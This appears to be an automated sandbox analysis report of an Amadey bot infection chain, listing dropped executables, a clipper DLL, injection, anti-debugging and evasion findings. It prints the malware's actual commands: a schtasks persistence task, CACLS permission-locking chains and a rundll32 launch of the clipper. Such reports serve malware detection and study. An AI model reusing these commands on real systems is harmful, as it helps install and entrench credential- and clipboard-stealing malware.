Source:	Binary string: C:\Users\Admin\source\repos\Healer\Healer\obj\Release\Healer.pdb source: brJg.exe, 00000001.00000003.252066347.00000000033E5000.00000004.00000020.00020000.00000000.sdmp, brJg.exe, 00000001.00000003.251774112.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, nika.exe, 0000000D.00000000.369407465.0000000000142000.00000002.00000001.01000000.00000009.sdmp, nika.exe.1.dr
Source:	Binary string: _.pdb source: arJf.exe, 00000002.00000002.368629241.00000000021E0000.00000004.00000020.00020000.00000000.sdmp, arJf.exe, 00000002.00000002.368210560.0000000002000000.00000004.08000000.00040000.00000000.sdmp, arJf.exe, 00000002.00000002.368703907.0000000002631000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: KC:\jovoxomexep_yuyobib\topaduseyese.pdb source: arJf.exe, 00000002.00000000.252149587.0000000000401000.00000020.00000001.01000000.00000005.sdmp, arJf.exe.1.dr
Source:	Binary string: D:\Mktmp\Amadey\ClipperDLL\Release\CLIPPERDLL.pdb source: mnolyk.exe, 0000000F.00000002.775467476.0000000001189000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001B.00000002.775394755.000000006FB9F000.00000002.00000001.01000000.0000000D.sdmp, clip64[1].dll.15.dr, clip64.dll.15.dr
Source:	Binary string: Healer.pdbH5 source: arJf.exe, 00000002.00000002.368629241.00000000021E0000.00000004.00000020.00020000.00000000.sdmp, arJf.exe, 00000002.00000002.368573953.0000000002180000.00000004.08000000.00040000.00000000.sdmp, arJf.exe, 00000002.00000002.368210560.0000000002000000.00000004.08000000.00040000.00000000.sdmp, arJf.exe, 00000002.00000002.368703907.0000000002631000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: *C:\jovoxomexep_yuyobib\topaduseyese.pdb source: brJg.exe, 00000001.00000003.251774112.0000000004E51000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\jovoxomexep_yuyobib\topaduseyese.pdb source: brJg.exe, 00000001.00000003.251774112.0000000004E51000.00000004.00000020.00020000.00000000.sdmp, arJf.exe, 00000002.00000000.252149587.0000000000401000.00000020.00000001.01000000.00000005.sdmp, arJf.exe.1.dr

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe

Unpacked PE file: 2.2.arJf.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe

Unpacked PE file: 2.2.arJf.exe.400000.0.unpack .text:ER;.data:W;.baveke:R;.hewi:R;.zax:R;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3724D push ecx; ret	0_2_00A37260
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Code function: 1_2_00F8724D push ecx; ret	1_2_00F87260
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_0041C40C push cs; iretd	2_2_0041C4E2
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_00423149 push eax; ret	2_2_00423179
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_0041C50E push cs; iretd	2_2_0041C4E2
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_004231C8 push eax; ret	2_2_00423179
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_0040E21D push ecx; ret	2_2_0040E230
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_0041C6BE push ebx; ret	2_2_0041C6BF
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_020248B5 push ss; retf	2_2_020248B7
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_02024139 push edi; iretd	2_2_0202414E
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_0202454E push ecx; retf	2_2_02024554

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A3202A memset,memset,RegCreateKeyExA,RegQueryValueExA,RegCloseKey,GetSystemDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,GetSystemDirectoryA,GetModuleFileNameA,LocalAlloc,RegCloseKey,RegSetValueExA,RegCloseKey,LocalFree,

0_2_00A3202A

Source: nika.exe.1.dr

Static PE information: 0xE382D401 [Fri Dec 15 06:19:45 2090 UTC]

Source: arJf.exe.1.dr	Static PE information: section name: .baveke
Source: arJf.exe.1.dr	Static PE information: section name: .hewi
Source: arJf.exe.1.dr	Static PE information: section name: .zax

Persistence and Installation Behavior

Yara detected Amadey bot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.775467476.0000000001189000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mnolyk.exe PID: 2728, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	File created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	File created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	File created: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	File created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A31AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,		0_2_00A31AE8
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Code function: 1_2_00F81AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,		1_2_00F81AE8

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:N"

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe TID: 3960	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe TID: 1552	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 5156	Thread sleep count: 77 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 5156	Thread sleep time: -2310000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 4056	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 4196	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 2856	Thread sleep count: 45 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 2856	Thread sleep time: -8100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 5156	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 3840	Thread sleep count: 167 > 30
Source: C:\Windows\SysWOW64\rundll32.exe TID: 3840	Thread sleep time: -167000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe

2_2_004019F0

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_2-13902

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Thread delayed: delay time: 180000	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_1-2450
Source: C:\Users\user\Desktop\file.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_0-2451

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

API coverage: 6.1 %

Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Thread delayed: delay time: 50000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\AppData\Local\Temp\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\xriv.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\AppData\	Jump to behavior

Source: mnolyk.exe, 0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp, mnolyk.exe, 0000000F.00000002.775467476.0000000001189000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A35467 GetSystemInfo,CreateDirectoryA,RemoveDirectoryA,

0_2_00A35467

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A32390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	0_2_00A32390
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Code function: 1_2_00F82390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	1_2_00F82390
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_010BFC58 FindFirstFileExW,	14_2_010BFC58

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe

2_2_004019F0

Source: C:\Users\user\Desktop\file.exe

0_2_00A3202A

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_010BA9A1 mov eax, dword ptr fs:[00000030h]		14_2_010BA9A1
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_010BCFB2 mov eax, dword ptr fs:[00000030h]		14_2_010BCFB2

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe

Code function: 2_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

2_2_0040CE09

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe

Code function: 2_2_0040ADB0 GetProcessHeap,HeapFree,

2_2_0040ADB0

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A36F40 SetUnhandledExceptionFilter,	0_2_00A36F40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A36CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00A36CF0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Code function: 1_2_00F86F40 SetUnhandledExceptionFilter,	1_2_00F86F40
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Code function: 1_2_00F86CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00F86CF0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0040CE09
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0040E61C
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00416F6A
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Code function: 2_2_004123F1 SetUnhandledExceptionFilter,	2_2_004123F1
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_010B790F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_010B790F
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_010BBB20 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_010BBB20
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_010B7208 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_010B7208

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Code function: 14_2_010A3740 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,VirtualFree,

14_2_010A3740

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe "C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "mnolyk.exe" /P "user:N"&&CACLS "mnolyk.exe" /P "user:R" /E&&echo Y\|CACLS "..\4b9a106e76" /P "user:N"&&CACLS "..\4b9a106e76" /P "user:R" /E&&Exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:N"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:R" /E	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:N"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:R" /E	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A318A3 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,LocalFree,CloseHandle,

0_2_00A318A3

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe

Code function: GetLocaleInfoA,

2_2_00417A20

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Code function: 14_2_010B7AFC cpuid

14_2_010B7AFC

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A37155 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00A37155

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Code function: 14_2_010C3C76 _free,_free,_free,GetTimeZoneInformation,_free,

14_2_010C3C76

